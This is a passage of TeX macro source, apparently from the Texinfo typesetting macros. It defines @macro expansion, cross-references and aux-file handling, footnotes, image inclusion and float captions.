\gdef\magicamp{\let&=\amprm} } \newcount\parencount % If we encounter &foo, then turn on ()-hacking afterwards \newif\ifampseen \def\amprm#1 {\ampseentrue{\bf\ }} \def\parenfont{% \ifampseen % At the first level, print parens in roman, % otherwise use the default font. \ifnum \parencount=1 \rm \fi \else % The \sf parens (in \boldbrax) actually are a little bolder than % the contained text. This is especially needed for [ and ] . \sf \fi } \def\infirstlevel#1{% \ifampseen \ifnum\parencount=1 #1% \fi \fi } \def\bfafterword#1 {#1 \bf} \def\opnr{% \global\advance\parencount by 1 {\parenfont(}% \infirstlevel \bfafterword } \def\clnr{% {\parenfont)}% \infirstlevel \sl \global\advance\parencount by -1 } \newcount\brackcount \def\lbrb{% \global\advance\brackcount by 1 {\bf[}% } \def\rbrb{% {\bf]}% \global\advance\brackcount by -1 } \def\checkparencounts{% \ifnum\parencount=0 \else \badparencount \fi \ifnum\brackcount=0 \else \badbrackcount \fi } \def\badparencount{% \errmessage{Unbalanced parentheses in @def}% \global\parencount=0 } \def\badbrackcount{% \errmessage{Unbalanced square braces in @def}% \global\brackcount=0 } \message{macros,} % @macro. % To do this right we need a feature of e-TeX, \scantokens, % which we arrange to emulate with a temporary file in ordinary TeX. \ifx\eTeXversion\undefined \newwrite\macscribble \def\scantokens#1{% \toks0={#1}% \immediate\openout\macscribble=\jobname.tmp \immediate\write\macscribble{\the\toks0}% \immediate\closeout\macscribble \input \jobname.tmp } \fi \def\scanmacro#1{% \begingroup \newlinechar`\^^M \let\xeatspaces\eatspaces % Undo catcode changes of \startcontents and \doprintindex % When called from @insertcopying or (short)caption, we need active % backslash to get it printed correctly. Previously, we had % \catcode`\\=\other instead. We'll see whether a problem appears % with macro expansion. --kasal, 19aug04 \catcode`\@=0 \catcode`\\=\active \escapechar=`\@ % ... and \example \spaceisspace % % Append \endinput to make sure that TeX does not see the ending newline. % % I've verified that it is necessary both for e-TeX and for ordinary TeX % --kasal, 29nov03 \scantokens{#1\endinput}% \endgroup } \def\scanexp#1{% \edef\temp{\noexpand\scanmacro{#1}}% \temp } \newcount\paramno % Count of parameters \newtoks\macname % Macro name \newif\ifrecursive % Is it recursive? % List of all defined macros in the form % \definedummyword\macro1\definedummyword\macro2... % Currently is also contains all @aliases; the list can be split % if there is a need. \def\macrolist{} % Add the macro to \macrolist \def\addtomacrolist#1{\expandafter \addtomacrolistxxx \csname#1\endcsname} \def\addtomacrolistxxx#1{% \toks0 = \expandafter{\macrolist\definedummyword#1}% \xdef\macrolist{\the\toks0}% } % Utility routines. % This does \let #1 = #2, with \csnames; that is, % \let \csname#1\endcsname = \csname#2\endcsname % (except of course we have to play expansion games). % \def\cslet#1#2{% \expandafter\let \csname#1\expandafter\endcsname \csname#2\endcsname } % Trim leading and trailing spaces off a string. % Concepts from aro-bend problem 15 (see CTAN). {\catcode`\@=11 \gdef\eatspaces #1{\expandafter\trim@\expandafter{#1 }} \gdef\trim@ #1{\trim@@ @#1 @ #1 @ @@} \gdef\trim@@ #1@ #2@ #3@@{\trim@@@\empty #2 @} \def\unbrace#1{#1} \unbrace{\gdef\trim@@@ #1 } #2@{#1} } % Trim a single trailing ^^M off a string. {\catcode`\^^M=\other \catcode`\Q=3% \gdef\eatcr #1{\eatcra #1Q^^MQ}% \gdef\eatcra#1^^MQ{\eatcrb#1Q}% \gdef\eatcrb#1Q#2Q{#1}% } % Macro bodies are absorbed as an argument in a context where % all characters are catcode 10, 11 or 12, except \ which is active % (as in normal texinfo). It is necessary to change the definition of \. % It's necessary to have hard CRs when the macro is executed. This is % done by making ^^M (\endlinechar) catcode 12 when reading the macro % body, and then making it the \newlinechar in \scanmacro. \def\scanctxt{% \catcode`\"=\other \catcode`\+=\other \catcode`\<=\other \catcode`\>=\other \catcode`\@=\other \catcode`\^=\other \catcode`\_=\other \catcode`\|=\other \catcode`\~=\other } \def\scanargctxt{% \scanctxt \catcode`\\=\other \catcode`\^^M=\other } \def\macrobodyctxt{% \scanctxt \catcode`\{=\other \catcode`\}=\other \catcode`\^^M=\other \usembodybackslash } \def\macroargctxt{% \scanctxt \catcode`\\=\other } % \mbodybackslash is the definition of \ in @macro bodies. % It maps \foo\ => \csname macarg.foo\endcsname => #N % where N is the macro parameter number. % We define \csname macarg.\endcsname to be \realbackslash, so % \\ in macro replacement text gets you a backslash. {\catcode`@=0 @catcode`@\=@active @gdef@usembodybackslash{@let\=@mbodybackslash} @gdef@mbodybackslash#1\{@csname macarg.#1@endcsname} } \expandafter\def\csname macarg.\endcsname{\realbackslash} \def\macro{\recursivefalse\parsearg\macroxxx} \def\rmacro{\recursivetrue\parsearg\macroxxx} \def\macroxxx#1{% \getargs{#1}% now \macname is the macname and \argl the arglist \ifx\argl\empty % no arguments \paramno=0% \else \expandafter\parsemargdef \argl;% \fi \if1\csname ismacro.\the\macname\endcsname \message{Warning: redefining \the\macname}% \else \expandafter\ifx\csname \the\macname\endcsname \relax \else \errmessage{Macro name \the\macname\space already defined}\fi \global\cslet{macsave.\the\macname}{\the\macname}% \global\expandafter\let\csname ismacro.\the\macname\endcsname=1% \addtomacrolist{\the\macname}% \fi \begingroup \macrobodyctxt \ifrecursive \expandafter\parsermacbody \else \expandafter\parsemacbody \fi} \parseargdef\unmacro{% \if1\csname ismacro.#1\endcsname \global\cslet{#1}{macsave.#1}% \global\expandafter\let \csname ismacro.#1\endcsname=0% % Remove the macro name from \macrolist: \begingroup \expandafter\let\csname#1\endcsname \relax \let\definedummyword\unmacrodo \xdef\macrolist{\macrolist}% \endgroup \else \errmessage{Macro #1 not defined}% \fi } % Called by \do from \dounmacro on each macro. The idea is to omit any % macro definitions that have been changed to \relax. % \def\unmacrodo#1{% \ifx #1\relax % remove this \else \noexpand\definedummyword \noexpand#1% \fi } % This makes use of the obscure feature that if the last token of a % is #, then the preceding argument is delimited by % an opening brace, and that opening brace is not consumed. \def\getargs#1{\getargsxxx#1{}} \def\getargsxxx#1#{\getmacname #1 \relax\getmacargs} \def\getmacname #1 #2\relax{\macname={#1}} \def\getmacargs#1{\def\argl{#1}} % Parse the optional {params} list. Set up \paramno and \paramlist % so \defmacro knows what to do. Define \macarg.blah for each blah % in the params list, to be ##N where N is the position in that list. % That gets used by \mbodybackslash (above). % We need to get `macro parameter char #' into several definitions. % The technique used is stolen from LaTeX: let \hash be something % unexpandable, insert that wherever you need a #, and then redefine % it to # just before using the token list produced. % % The same technique is used to protect \eatspaces till just before % the macro is used. \def\parsemargdef#1;{\paramno=0\def\paramlist{}% \let\hash\relax\let\xeatspaces\relax\parsemargdefxxx#1,;,} \def\parsemargdefxxx#1,{% \if#1;\let\next=\relax \else \let\next=\parsemargdefxxx \advance\paramno by 1% \expandafter\edef\csname macarg.\eatspaces{#1}\endcsname {\xeatspaces{\hash\the\paramno}}% \edef\paramlist{\paramlist\hash\the\paramno,}% \fi\next} % These two commands read recursive and nonrecursive macro bodies. % (They're different since rec and nonrec macros end differently.) \long\def\parsemacbody#1@end macro% {\xdef\temp{\eatcr{#1}}\endgroup\defmacro}% \long\def\parsermacbody#1@end rmacro% {\xdef\temp{\eatcr{#1}}\endgroup\defmacro}% % This defines the macro itself. There are six cases: recursive and % nonrecursive macros of zero, one, and many arguments. % Much magic with \expandafter here. % \xdef is used so that macro definitions will survive the file % they're defined in; @include reads the file inside a group. \def\defmacro{% \let\hash=##% convert placeholders to macro parameter chars \ifrecursive \ifcase\paramno % 0 \expandafter\xdef\csname\the\macname\endcsname{% \noexpand\scanmacro{\temp}}% \or % 1 \expandafter\xdef\csname\the\macname\endcsname{% \bgroup\noexpand\macroargctxt \noexpand\braceorline \expandafter\noexpand\csname\the\macname xxx\endcsname}% \expandafter\xdef\csname\the\macname xxx\endcsname##1{% \egroup\noexpand\scanmacro{\temp}}% \else % many \expandafter\xdef\csname\the\macname\endcsname{% \bgroup\noexpand\macroargctxt \noexpand\csname\the\macname xx\endcsname}% \expandafter\xdef\csname\the\macname xx\endcsname##1{% \expandafter\noexpand\csname\the\macname xxx\endcsname ##1,}% \expandafter\expandafter \expandafter\xdef \expandafter\expandafter \csname\the\macname xxx\endcsname \paramlist{\egroup\noexpand\scanmacro{\temp}}% \fi \else \ifcase\paramno % 0 \expandafter\xdef\csname\the\macname\endcsname{% \noexpand\norecurse{\the\macname}% \noexpand\scanmacro{\temp}\egroup}% \or % 1 \expandafter\xdef\csname\the\macname\endcsname{% \bgroup\noexpand\macroargctxt \noexpand\braceorline \expandafter\noexpand\csname\the\macname xxx\endcsname}% \expandafter\xdef\csname\the\macname xxx\endcsname##1{% \egroup \noexpand\norecurse{\the\macname}% \noexpand\scanmacro{\temp}\egroup}% \else % many \expandafter\xdef\csname\the\macname\endcsname{% \bgroup\noexpand\macroargctxt \expandafter\noexpand\csname\the\macname xx\endcsname}% \expandafter\xdef\csname\the\macname xx\endcsname##1{% \expandafter\noexpand\csname\the\macname xxx\endcsname ##1,}% \expandafter\expandafter \expandafter\xdef \expandafter\expandafter \csname\the\macname xxx\endcsname \paramlist{% \egroup \noexpand\norecurse{\the\macname}% \noexpand\scanmacro{\temp}\egroup}% \fi \fi} \def\norecurse#1{\bgroup\cslet{#1}{macsave.#1}} % \braceorline decides whether the next nonwhitespace character is a % {. If so it reads up to the closing }, if not, it reads the whole % line. Whatever was read is then fed to the next control sequence % as an argument (by \parsebrace or \parsearg) \def\braceorline#1{\let\next=#1\futurelet\nchar\braceorlinexxx} \def\braceorlinexxx{% \ifx\nchar\bgroup\else \expandafter\parsearg \fi \next} % @alias. % We need some trickery to remove the optional spaces around the equal % sign. Just make them active and then expand them all to nothing. \def\alias{\parseargusing\obeyspaces\aliasxxx} \def\aliasxxx #1{\aliasyyy#1\relax} \def\aliasyyy #1=#2\relax{% {% \expandafter\let\obeyedspace=\empty \addtomacrolist{#1}% \xdef\next{\global\let\makecsname{#1}=\makecsname{#2}}% }% \next } \message{cross references,} \newwrite\auxfile \newif\ifhavexrefs % True if xref values are known. \newif\ifwarnedxrefs % True if we warned once that they aren't known. % @inforef is relatively simple. \def\inforef #1{\inforefzzz #1,,,,**} \def\inforefzzz #1,#2,#3,#4**{\putwordSee{} \putwordInfo{} \putwordfile{} \file{\ignorespaces #3{}}, node \samp{\ignorespaces#1{}}} % @node's only job in TeX is to define \lastnode, which is used in % cross-references. The @node line might or might not have commas, and % might or might not have spaces before the first comma, like: % @node foo , bar , ... % We don't want such trailing spaces in the node name. % \parseargdef\node{\checkenv{}\donode #1 ,\finishnodeparse} % % also remove a trailing comma, in case of something like this: % @node Help-Cross, , , Cross-refs \def\donode#1 ,#2\finishnodeparse{\dodonode #1,\finishnodeparse} \def\dodonode#1,#2\finishnodeparse{\gdef\lastnode{#1}} \let\nwnode=\node \let\lastnode=\empty % Write a cross-reference definition for the current node. #1 is the % type (Ynumbered, Yappendix, Ynothing). % \def\donoderef#1{% \ifx\lastnode\empty\else \setref{\lastnode}{#1}% \global\let\lastnode=\empty \fi } % @anchor{NAME} -- define xref target at arbitrary point. % \newcount\savesfregister % \def\savesf{\relax \ifhmode \savesfregister=\spacefactor \fi} \def\restoresf{\relax \ifhmode \spacefactor=\savesfregister \fi} \def\anchor#1{\savesf \setref{#1}{Ynothing}\restoresf \ignorespaces} % \setref{NAME}{SNT} defines a cross-reference point NAME (a node or an % anchor), which consists of three parts: % 1) NAME-title - the current sectioning name taken from \thissection, % or the anchor name. % 2) NAME-snt - section number and type, passed as the SNT arg, or % empty for anchors. % 3) NAME-pg - the page number. % % This is called from \donoderef, \anchor, and \dofloat. In the case of % floats, there is an additional part, which is not written here: % 4) NAME-lof - the text as it should appear in a @listoffloats. % \def\setref#1#2{% \pdfmkdest{#1}% \iflinks {% \atdummies % preserve commands, but don't expand them \edef\writexrdef##1##2{% \write\auxfile{@xrdef{#1-% #1 of \setref, expanded by the \edef ##1}{##2}}% these are parameters of \writexrdef }% \toks0 = \expandafter{\thissection}% \immediate \writexrdef{title}{\the\toks0 }% \immediate \writexrdef{snt}{\csname #2\endcsname}% \Ynumbered etc. \writexrdef{pg}{\folio}% will be written later, during \shipout }% \fi } % @xref, @pxref, and @ref generate cross-references. For \xrefX, #1 is % the node name, #2 the name of the Info cross-reference, #3 the printed % node name, #4 the name of the Info file, #5 the name of the printed % manual. All but the node name can be omitted. % \def\pxref#1{\putwordsee{} \xrefX[#1,,,,,,,]} \def\xref#1{\putwordSee{} \xrefX[#1,,,,,,,]} \def\ref#1{\xrefX[#1,,,,,,,]} \def\xrefX[#1,#2,#3,#4,#5,#6]{\begingroup \unsepspaces \def\printedmanual{\ignorespaces #5}% \def\printedrefname{\ignorespaces #3}% \setbox1=\hbox{\printedmanual\unskip}% \setbox0=\hbox{\printedrefname\unskip}% \ifdim \wd0 = 0pt % No printed node name was explicitly given. \expandafter\ifx\csname SETxref-automatic-section-title\endcsname\relax % Use the node name inside the square brackets. \def\printedrefname{\ignorespaces #1}% \else % Use the actual chapter/section title appear inside % the square brackets. Use the real section title if we have it. \ifdim \wd1 > 0pt % It is in another manual, so we don't have it. \def\printedrefname{\ignorespaces #1}% \else \ifhavexrefs % We know the real title if we have the xref values. \def\printedrefname{\refx{#1-title}{}}% \else % Otherwise just copy the Info node name. \def\printedrefname{\ignorespaces #1}% \fi% \fi \fi \fi % % Make link in pdf output. \ifpdf \leavevmode \getfilename{#4}% {\turnoffactive % See comments at \activebackslashdouble. {\activebackslashdouble \xdef\pdfxrefdest{#1}% \backslashparens\pdfxrefdest}% % \ifnum\filenamelength>0 \startlink attr{/Border [0 0 0]}% goto file{\the\filename.pdf} name{\pdfxrefdest}% \else \startlink attr{/Border [0 0 0]}% goto name{\pdfmkpgn{\pdfxrefdest}}% \fi }% \linkcolor \fi % % Float references are printed completely differently: "Figure 1.2" % instead of "[somenode], p.3". We distinguish them by the % LABEL-title being set to a magic string. {% % Have to otherify everything special to allow the \csname to % include an _ in the xref name, etc. \indexnofonts \turnoffactive \expandafter\global\expandafter\let\expandafter\Xthisreftitle \csname XR#1-title\endcsname }% \iffloat\Xthisreftitle % If the user specified the print name (third arg) to the ref, % print it instead of our usual "Figure 1.2". \ifdim\wd0 = 0pt \refx{#1-snt}% \else \printedrefname \fi % % if the user also gave the printed manual name (fifth arg), append % "in MANUALNAME". \ifdim \wd1 > 0pt \space \putwordin{} \cite{\printedmanual}% \fi \else % node/anchor (non-float) references. % % If we use \unhbox0 and \unhbox1 to print the node names, TeX does not % insert empty discretionaries after hyphens, which means that it will % not find a line break at a hyphen in a node names. Since some manuals % are best written with fairly long node names, containing hyphens, this % is a loss. Therefore, we give the text of the node name again, so it % is as if TeX is seeing it for the first time. \ifdim \wd1 > 0pt \putwordsection{} ``\printedrefname'' \putwordin{} \cite{\printedmanual}% \else % _ (for example) has to be the character _ for the purposes of the % control sequence corresponding to the node, but it has to expand % into the usual \leavevmode...\vrule stuff for purposes of % printing. So we \turnoffactive for the \refx-snt, back on for the % printing, back off for the \refx-pg. {\turnoffactive % Only output a following space if the -snt ref is nonempty; for % @unnumbered and @anchor, it won't be. \setbox2 = \hbox{\ignorespaces \refx{#1-snt}{}}% \ifdim \wd2 > 0pt \refx{#1-snt}\space\fi }% % output the `[mynode]' via a macro so it can be overridden. \xrefprintnodename\printedrefname % % But we always want a comma and a space: ,\space % % output the `page 3'. \turnoffactive \putwordpage\tie\refx{#1-pg}{}% \fi \fi \endlink \endgroup} % This macro is called from \xrefX for the `[nodename]' part of xref % output. It's a separate macro only so it can be changed more easily, % since square brackets don't work well in some documents. Particularly % one that Bob is working on :). % \def\xrefprintnodename#1{[#1]} % Things referred to by \setref. % \def\Ynothing{} \def\Yomitfromtoc{} \def\Ynumbered{% \ifnum\secno=0 \putwordChapter@tie \the\chapno \else \ifnum\subsecno=0 \putwordSection@tie \the\chapno.\the\secno \else \ifnum\subsubsecno=0 \putwordSection@tie \the\chapno.\the\secno.\the\subsecno \else \putwordSection@tie \the\chapno.\the\secno.\the\subsecno.\the\subsubsecno \fi\fi\fi } \def\Yappendix{% \ifnum\secno=0 \putwordAppendix@tie @char\the\appendixno{}% \else \ifnum\subsecno=0 \putwordSection@tie @char\the\appendixno.\the\secno \else \ifnum\subsubsecno=0 \putwordSection@tie @char\the\appendixno.\the\secno.\the\subsecno \else \putwordSection@tie @char\the\appendixno.\the\secno.\the\subsecno.\the\subsubsecno \fi\fi\fi } % Define \refx{NAME}{SUFFIX} to reference a cross-reference string named NAME. % If its value is nonempty, SUFFIX is output afterward. % \def\refx#1#2{% {% \indexnofonts \otherbackslash \expandafter\global\expandafter\let\expandafter\thisrefX \csname XR#1\endcsname }% \ifx\thisrefX\relax % If not defined, say something at least. \angleleft un\-de\-fined\angleright \iflinks \ifhavexrefs \message{\linenumber Undefined cross reference `#1'.}% \else \ifwarnedxrefs\else \global\warnedxrefstrue \message{Cross reference values unknown; you must run TeX again.}% \fi \fi \fi \else % It's defined, so just use it. \thisrefX \fi #2% Output the suffix in any case. } % This is the macro invoked by entries in the aux file. Usually it's % just a \def (we prepend XR to the control sequence name to avoid % collisions). But if this is a float type, we have more work to do. % \def\xrdef#1#2{% \expandafter\gdef\csname XR#1\endcsname{#2}% remember this xref value. % % Was that xref control sequence that we just defined for a float? \expandafter\iffloat\csname XR#1\endcsname % it was a float, and we have the (safe) float type in \iffloattype. \expandafter\let\expandafter\floatlist \csname floatlist\iffloattype\endcsname % % Is this the first time we've seen this float type? \expandafter\ifx\floatlist\relax \toks0 = {\do}% yes, so just \do \else % had it before, so preserve previous elements in list. \toks0 = \expandafter{\floatlist\do}% \fi % % Remember this xref in the control sequence \floatlistFLOATTYPE, % for later use in \listoffloats. \expandafter\xdef\csname floatlist\iffloattype\endcsname{\the\toks0{#1}}% \fi } % Read the last existing aux file, if any. No error if none exists. % \def\tryauxfile{% \openin 1 \jobname.aux \ifeof 1 \else \readdatafile{aux}% \global\havexrefstrue \fi \closein 1 } \def\setupdatafile{% \catcode`\^^@=\other \catcode`\^^A=\other \catcode`\^^B=\other \catcode`\^^C=\other \catcode`\^^D=\other \catcode`\^^E=\other \catcode`\^^F=\other \catcode`\^^G=\other \catcode`\^^H=\other \catcode`\^^K=\other \catcode`\^^L=\other \catcode`\^^N=\other \catcode`\^^P=\other \catcode`\^^Q=\other \catcode`\^^R=\other \catcode`\^^S=\other \catcode`\^^T=\other \catcode`\^^U=\other \catcode`\^^V=\other \catcode`\^^W=\other \catcode`\^^X=\other \catcode`\^^Z=\other \catcode`\^^[=\other \catcode`\^^\=\other \catcode`\^^]=\other \catcode`\^^^=\other \catcode`\^^_=\other % It was suggested to set the catcode of ^ to 7, which would allow ^^e4 etc. % in xref tags, i.e., node names. But since ^^e4 notation isn't % supported in the main text, it doesn't seem desirable. Furthermore, % that is not enough: for node names that actually contain a ^ % character, we would end up writing a line like this: 'xrdef {'hat % b-title}{'hat b} and \xrdef does a \csname...\endcsname on the first % argument, and \hat is not an expandable control sequence. It could % all be worked out, but why? Either we support ^^ or we don't. % % The other change necessary for this was to define \auxhat: % \def\auxhat{\def^{'hat }}% extra space so ok if followed by letter % and then to call \auxhat in \setq. % \catcode`\^=\other % % Special characters. Should be turned off anyway, but... \catcode`\~=\other \catcode`\[=\other \catcode`\]=\other \catcode`\"=\other \catcode`\_=\other \catcode`\|=\other \catcode`\<=\other \catcode`\>=\other \catcode`\$=\other \catcode`\#=\other \catcode`\&=\other \catcode`\%=\other \catcode`+=\other % avoid \+ for paranoia even though we've turned it off % % This is to support \ in node names and titles, since the \ % characters end up in a \csname. It's easier than % leaving it active and making its active definition an actual \ % character. What I don't understand is why it works in the *value* % of the xrdef. Seems like it should be a catcode12 \, and that % should not typeset properly. But it works, so I'm moving on for % now. --karl, 15jan04. \catcode`\\=\other % % Make the characters 128-255 be printing characters. {% \count1=128 \def\loop{% \catcode\count1=\other \advance\count1 by 1 \ifnum \count1<256 \loop \fi }% }% % % @ is our escape character in .aux files, and we need braces. \catcode`\{=1 \catcode`\}=2 \catcode`\@=0 } \def\readdatafile#1{% \begingroup \setupdatafile \input\jobname.#1 \endgroup} \message{insertions,} % including footnotes. \newcount \footnoteno % The trailing space in the following definition for supereject is % vital for proper filling; pages come out unaligned when you do a % pagealignmacro call if that space before the closing brace is % removed. (Generally, numeric constants should always be followed by a % space to prevent strange expansion errors.) \def\supereject{\par\penalty -20000\footnoteno =0 } % @footnotestyle is meaningful for info output only. \let\footnotestyle=\comment {\catcode `\@=11 % % Auto-number footnotes. Otherwise like plain. \gdef\footnote{% \let\indent=\ptexindent \let\noindent=\ptexnoindent \global\advance\footnoteno by \@ne \edef\thisfootno{$^{\the\footnoteno}$}% % % In case the footnote comes at the end of a sentence, preserve the % extra spacing after we do the footnote number. \let\@sf\empty \ifhmode\edef\@sf{\spacefactor\the\spacefactor}\ptexslash\fi % % Remove inadvertent blank space before typesetting the footnote number. \unskip \thisfootno\@sf \dofootnote }% % Don't bother with the trickery in plain.tex to not require the % footnote text as a parameter. Our footnotes don't need to be so general. % % Oh yes, they do; otherwise, @ifset (and anything else that uses % \parseargline) fails inside footnotes because the tokens are fixed when % the footnote is read. --karl, 16nov96. % \gdef\dofootnote{% \insert\footins\bgroup % We want to typeset this text as a normal paragraph, even if the % footnote reference occurs in (for example) a display environment. % So reset some parameters. \hsize=\pagewidth \interlinepenalty\interfootnotelinepenalty \splittopskip\ht\strutbox % top baseline for broken footnotes \splitmaxdepth\dp\strutbox \floatingpenalty\@MM \leftskip\z@skip \rightskip\z@skip \spaceskip\z@skip \xspaceskip\z@skip \parindent\defaultparindent % \smallfonts \rm % % Because we use hanging indentation in footnotes, a @noindent appears % to exdent this text, so make it be a no-op. makeinfo does not use % hanging indentation so @noindent can still be needed within footnote % text after an @example or the like (not that this is good style). \let\noindent = \relax % % Hang the footnote text off the number. Use \everypar in case the % footnote extends for more than one paragraph. \everypar = {\hang}% \textindent{\thisfootno}% % % Don't crash into the line above the footnote text. Since this % expands into a box, it must come within the paragraph, lest it % provide a place where TeX can split the footnote. \footstrut \futurelet\next\fo@t } }%end \catcode `\@=11 % In case a @footnote appears in a vbox, save the footnote text and create % the real \insert just after the vbox finished. Otherwise, the insertion % would be lost. % Similarily, if a @footnote appears inside an alignment, save the footnote % text to a box and make the \insert when a row of the table is finished. % And the same can be done for other insert classes. --kasal, 16nov03. % Replace the \insert primitive by a cheating macro. % Deeper inside, just make sure that the saved insertions are not spilled % out prematurely. % \def\startsavinginserts{% \ifx \insert\ptexinsert \let\insert\saveinsert \else \let\checkinserts\relax \fi } % This \insert replacement works for both \insert\footins{foo} and % \insert\footins\bgroup foo\egroup, but it doesn't work for \insert27{foo}. % \def\saveinsert#1{% \edef\next{\noexpand\savetobox \makeSAVEname#1}% \afterassignment\next % swallow the left brace \let\temp = } \def\makeSAVEname#1{\makecsname{SAVE\expandafter\gobble\string#1}} \def\savetobox#1{\global\setbox#1 = \vbox\bgroup \unvbox#1} \def\checksaveins#1{\ifvoid#1\else \placesaveins#1\fi} \def\placesaveins#1{% \ptexinsert \csname\expandafter\gobblesave\string#1\endcsname {\box#1}% } % eat @SAVE -- beware, all of them have catcode \other: { \def\dospecials{\do S\do A\do V\do E} \uncatcodespecials % ;-) \gdef\gobblesave @SAVE{} } % initialization: \def\newsaveins #1{% \edef\next{\noexpand\newsaveinsX \makeSAVEname#1}% \next } \def\newsaveinsX #1{% \csname newbox\endcsname #1% \expandafter\def\expandafter\checkinserts\expandafter{\checkinserts \checksaveins #1}% } % initialize: \let\checkinserts\empty \newsaveins\footins \newsaveins\margin % @image. We use the macros from epsf.tex to support this. % If epsf.tex is not installed and @image is used, we complain. % % Check for and read epsf.tex up front. If we read it only at @image % time, we might be inside a group, and then its definitions would get % undone and the next image would fail. \openin 1 = epsf.tex \ifeof 1 \else % Do not bother showing banner with epsf.tex v2.7k (available in % doc/epsf.tex and on ctan). \def\epsfannounce{\toks0 = }% \input epsf.tex \fi \closein 1 % % We will only complain once about lack of epsf.tex. \newif\ifwarnednoepsf \newhelp\noepsfhelp{epsf.tex must be installed for images to work. It is also included in the Texinfo distribution, or you can get it from ftp://tug.org/tex/epsf.tex.} % \def\image#1{% \ifx\epsfbox\undefined \ifwarnednoepsf \else \errhelp = \noepsfhelp \errmessage{epsf.tex not found, images will be ignored}% \global\warnednoepsftrue \fi \else \imagexxx #1,,,,,\finish \fi } % % Arguments to @image: % #1 is (mandatory) image filename; we tack on .eps extension. % #2 is (optional) width, #3 is (optional) height. % #4 is (ignored optional) html alt text. % #5 is (ignored optional) extension. % #6 is just the usual extra ignored arg for parsing this stuff. \newif\ifimagevmode \def\imagexxx#1,#2,#3,#4,#5,#6\finish{\begingroup \catcode`\^^M = 5 % in case we're inside an example \normalturnoffactive % allow _ et al. in names % If the image is by itself, center it. \ifvmode \imagevmodetrue \nobreak\bigskip % Usually we'll have text after the image which will insert % \parskip glue, so insert it here too to equalize the space % above and below. \nobreak\vskip\parskip \nobreak \line\bgroup\hss \fi % % Output the image. \ifpdf \dopdfimage{#1}{#2}{#3}% \else % \epsfbox itself resets \epsf?size at each figure. \setbox0 = \hbox{\ignorespaces #2}\ifdim\wd0 > 0pt \epsfxsize=#2\relax \fi \setbox0 = \hbox{\ignorespaces #3}\ifdim\wd0 > 0pt \epsfysize=#3\relax \fi \epsfbox{#1.eps}% \fi % \ifimagevmode \hss \egroup \bigbreak \fi % space after the image \endgroup} % @float FLOATTYPE,LABEL,LOC ... @end float for displayed figures, tables, % etc. We don't actually implement floating yet, we always include the % float "here". But it seemed the best name for the future. % \envparseargdef\float{\eatcommaspace\eatcommaspace\dofloat#1, , ,\finish} % There may be a space before second and/or third parameter; delete it. \def\eatcommaspace#1, {#1,} % #1 is the optional FLOATTYPE, the text label for this float, typically % "Figure", "Table", "Example", etc. Can't contain commas. If omitted, % this float will not be numbered and cannot be referred to. % % #2 is the optional xref label. Also must be present for the float to % be referable. % % #3 is the optional positioning argument; for now, it is ignored. It % will somehow specify the positions allowed to float to (here, top, bottom). % % We keep a separate counter for each FLOATTYPE, which we reset at each % chapter-level command. \let\resetallfloatnos=\empty % \def\dofloat#1,#2,#3,#4\finish{% \let\thiscaption=\empty \let\thisshortcaption=\empty % % don't lose footnotes inside @float. % % BEWARE: when the floats start float, we have to issue warning whenever an % insert appears inside a float which could possibly float. --kasal, 26may04 % \startsavinginserts % % We can't be used inside a paragraph. \par % \vtop\bgroup \def\floattype{#1}% \def\floatlabel{#2}% \def\floatloc{#3}% we do nothing with this yet. % \ifx\floattype\empty \let\safefloattype=\empty \else {% % the floattype might have accents or other special characters, % but we need to use it in a control sequence name. \indexnofonts \turnoffactive \xdef\safefloattype{\floattype}% }% \fi % % If label is given but no type, we handle that as the empty type. \ifx\floatlabel\empty \else % We want each FLOATTYPE to be numbered separately (Figure 1, % Table 1, Figure 2, ...). (And if no label, no number.) % \expandafter\getfloatno\csname\safefloattype floatno\endcsname \global\advance\floatno by 1 % {% % This magic value for \thissection is output by \setref as the % XREFLABEL-title value. \xrefX uses it to distinguish float % labels (which have a completely different output format) from % node and anchor labels. And \xrdef uses it to construct the % lists of floats. % \edef\thissection{\floatmagic=\safefloattype}% \setref{\floatlabel}{Yfloat}% }% \fi % % start with \parskip glue, I guess. \vskip\parskip % % Don't suppress indentation if a float happens to start a section. \restorefirstparagraphindent } % we have these possibilities: % @float Foo,lbl & @caption{Cap}: Foo 1.1: Cap % @float Foo,lbl & no caption: Foo 1.1 % @float Foo & @caption{Cap}: Foo: Cap % @float Foo & no caption: Foo % @float ,lbl & Caption{Cap}: 1.1: Cap % @float ,lbl & no caption: 1.1 % @float & @caption{Cap}: Cap % @float & no caption: % \def\Efloat{% \let\floatident = \empty % % In all cases, if we have a float type, it comes first. \ifx\floattype\empty \else \def\floatident{\floattype}\fi % % If we have an xref label, the number comes next. \ifx\floatlabel\empty \else \ifx\floattype\empty \else % if also had float type, need tie first. \appendtomacro\floatident{\tie}% \fi % the number. \appendtomacro\floatident{\chaplevelprefix\the\floatno}% \fi % % Start the printed caption with what we've constructed in % \floatident, but keep it separate; we need \floatident again. \let\captionline = \floatident % \ifx\thiscaption\empty \else \ifx\floatident\empty \else \appendtomacro\captionline{: }% had ident, so need a colon between \fi % % caption text. \appendtomacro\captionline{\scanexp\thiscaption}% \fi % % If we have anything to print, print it, with space before. % Eventually this needs to become an \insert. \ifx\captionline\empty \else \vskip.5\parskip \captionline % % Space below caption. \vskip\parskip \fi % % If have an xref label, write the list of floats info. Do this % after the caption, to avoid chance of it being a breakpoint. \ifx\floatlabel\empty \else % Write the text that goes in the lof to the aux file as % \floatlabel-lof. Besides \floatident, we include the short % caption if specified, else the full caption if specified, else nothing. {% \atdummies % since we read the caption text in the macro world, where ^^M % is turned into a normal character, we have to scan it back, so % we don't write the literal three characters "^^M" into the aux file. \scanexp{% \xdef\noexpand\gtemp{% \ifx\thisshortcaption\empty \thiscaption \else \thisshortcaption \fi }% }% \immediate\write\auxfile{@xrdef{\floatlabel-lof}{\floatident \ifx\gtemp\empty \else : \gtemp \fi}}% }% \fi \egroup % end of \vtop % % place the captured inserts % % BEWARE: when the floats start float, we have to issue warning whenever an % insert appears inside a float which could possibly float. --kasal, 26may04 % \checkinserts } % Append the tokens #2 to the definition of macro #1, not expanding either. % \def\appendtomacro#1#2{% \expandafter\def\expandafter#1\expandafter{#1#2}% } % @caption, @shortcaption % \def\caption{\docaption\thiscaption} \def\shortcaption{\docaption\thisshortcaption} \def\docaption{\checkenv\float \bgroup\scanargctxt\defcaption} \def\defcaption#1#2{\egroup \def#1{#2}} % The parameter is the control sequence identifying the counter we are % going to use. Create it if it doesn't exist and assign it to \floatno. \def\getfloatno#1{% \ifx#1\relax % Haven't seen this figure type before. \csname newcount\endcsname #1% % % Remember to reset this floatno at the next chap. 